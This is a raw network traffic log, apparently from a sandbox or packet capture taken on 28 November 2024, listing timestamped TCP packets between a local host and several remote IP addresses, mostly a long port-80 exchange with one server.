Nov 28, 2024 11:05:30.560708046 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.560745955 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.560801029 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.560842991 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.561778069 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.561789989 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.561820984 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.561851978 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.562551022 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:30.562588930 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:30.562701941 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:30.562836885 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.562875032 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.562963009 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:30.563080072 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:30.563133001 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.563167095 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:30.563240051 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.563368082 CET	49848	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:30.563381910 CET	443	49848	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:30.563532114 CET	49849	443	192.168.2.7	13.107.246.40
Nov 28, 2024 11:05:30.563568115 CET	443	49849	13.107.246.40	192.168.2.7
Nov 28, 2024 11:05:30.569179058 CET	443	49840	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.569247007 CET	443	49840	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.569503069 CET	49840	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.570030928 CET	49840	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.570055008 CET	443	49840	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.570072889 CET	49840	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.570079088 CET	443	49840	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.577450991 CET	49850	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.577501059 CET	443	49850	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.577843904 CET	49850	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.578078032 CET	49850	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.578097105 CET	443	49850	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.580527067 CET	443	49843	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:30.581145048 CET	49843	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:30.581171036 CET	443	49843	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:30.581506968 CET	443	49843	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:30.582031965 CET	49843	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:30.582096100 CET	443	49843	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:30.600301027 CET	443	49836	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.600372076 CET	443	49836	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.600502014 CET	49836	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.600820065 CET	49836	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.600843906 CET	443	49836	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.600858927 CET	49836	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.600864887 CET	443	49836	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.603413105 CET	49851	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.603446007 CET	443	49851	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.603703976 CET	49851	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.603849888 CET	49851	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.603863955 CET	443	49851	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.623667002 CET	49843	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:30.627396107 CET	443	49844	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:30.627855062 CET	49844	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:30.627888918 CET	443	49844	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:30.628240108 CET	443	49844	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:30.628756046 CET	49844	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:30.628844976 CET	443	49844	162.159.61.3	192.168.2.7
Nov 28, 2024 11:05:30.633083105 CET	443	49838	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.633151054 CET	443	49838	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.633193016 CET	49838	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.633434057 CET	49838	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.633450985 CET	443	49838	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.633469105 CET	49838	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.633475065 CET	443	49838	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.636504889 CET	49852	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.636554003 CET	443	49852	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.636626959 CET	49852	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.636852980 CET	49852	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:30.636873960 CET	443	49852	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:30.674171925 CET	49844	443	192.168.2.7	162.159.61.3
Nov 28, 2024 11:05:30.710048914 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.710068941 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.710180998 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.710331917 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.710442066 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.710889101 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.710971117 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.711524963 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.711580992 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.711664915 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.711944103 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.712425947 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.712500095 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.713273048 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.713459015 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.713599920 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.713618994 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.713673115 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.713673115 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.714519024 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.714581966 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.714873075 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.714967012 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.715609074 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.715626955 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.715678930 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.715678930 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.716626883 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.716758966 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.716835976 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.717720032 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.717737913 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.717822075 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.717822075 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.718696117 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.718720913 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.718754053 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.718774080 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.719801903 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.719975948 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.720053911 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.720153093 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.720792055 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.720879078 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.721008062 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.721893072 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.721906900 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.721987009 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.721987009 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.722738981 CET	49853	443	192.168.2.7	23.200.0.6
Nov 28, 2024 11:05:30.722796917 CET	443	49853	23.200.0.6	192.168.2.7
Nov 28, 2024 11:05:30.722901106 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.722960949 CET	49853	443	192.168.2.7	23.200.0.6
Nov 28, 2024 11:05:30.723134995 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.723180056 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.723180056 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.723458052 CET	49853	443	192.168.2.7	23.200.0.6
Nov 28, 2024 11:05:30.723476887 CET	443	49853	23.200.0.6	192.168.2.7
Nov 28, 2024 11:05:30.724035025 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.724050999 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.724176884 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.724978924 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.725037098 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.726072073 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.726089954 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.726104975 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.726136923 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.726196051 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.727092028 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.727637053 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.727643967 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.727824926 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.728115082 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.728338003 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.728746891 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.728877068 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.729157925 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.729207993 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.730288982 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.730305910 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.730319977 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.730386972 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.730386972 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.731339931 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.731404066 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.731415033 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.731484890 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.732366085 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.732440948 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.733136892 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.733220100 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.733464003 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.733545065 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.734003067 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.734051943 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.734425068 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.734819889 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.734885931 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.735467911 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.735621929 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.735768080 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.735934019 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.736574888 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.736593962 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.736679077 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.737638950 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.737657070 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.737709999 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.737720966 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.738650084 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.738742113 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.738895893 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.739010096 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.739698887 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.739742041 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.740816116 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.740832090 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.740844965 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.740863085 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.740927935 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.741823912 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.742057085 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.742273092 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.742831945 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.742850065 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.742907047 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.742923975 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.743863106 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.743988037 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.744889021 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.744951963 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.745183945 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.745964050 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.746078968 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.746226072 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.746882915 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.746954918 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.747071028 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.747750044 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.748092890 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.748109102 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.748156071 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.748195887 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.749166012 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.749285936 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.749380112 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.749488115 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.750149012 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.750560999 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.750622988 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.751229048 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.751286030 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.752010107 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.752232075 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.752269030 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.752310991 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.752352953 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.752394915 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.753288031 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.753312111 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.753407001 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.754343033 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.754434109 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.754477024 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.754538059 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.755373955 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.755439043 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.755830050 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.756222963 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.756411076 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.756458998 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.757076025 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.757134914 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.757483959 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.757535934 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.757622957 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.757719040 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.758506060 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.758620024 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.758680105 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.759649992 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.759738922 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.759805918 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.760606050 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.760771990 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.760868073 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.760919094 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.761715889 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.761795998 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.762099028 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.762181997 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.762810946 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.762866020 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.762999058 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.763181925 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.763750076 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.763909101 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.764276981 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.764331102 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.764799118 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.765000105 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.911590099 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.911631107 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.911730051 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.912152052 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.912264109 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.912703991 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.912972927 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.913007021 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.913008928 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.913008928 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.913090944 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.914019108 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.914058924 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.914079905 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.914150000 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.915029049 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.915055037 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.915102959 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.915102959 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.916078091 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.916140079 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.916161060 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.916502953 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.917104006 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.917229891 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.917366028 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.917607069 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.918205976 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.918219090 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.918266058 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.918266058 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.919205904 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.919260979 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.919320107 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.919725895 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.920340061 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.920351982 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.920450926 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.921597004 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.921610117 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.921668053 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.922321081 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.922400951 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.922935009 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.923018932 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.923432112 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.923553944 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.923630953 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.923906088 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.924556017 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.924647093 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.924707890 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.924707890 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.925470114 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.925518036 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.925653934 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.925689936 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.926567078 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.926712990 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.926893950 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.927337885 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.927670956 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.927683115 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.927771091 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:30.928694010 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.928705931 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:30.928781033 CET	49782	80	192.168.2.7	185.215.113.206
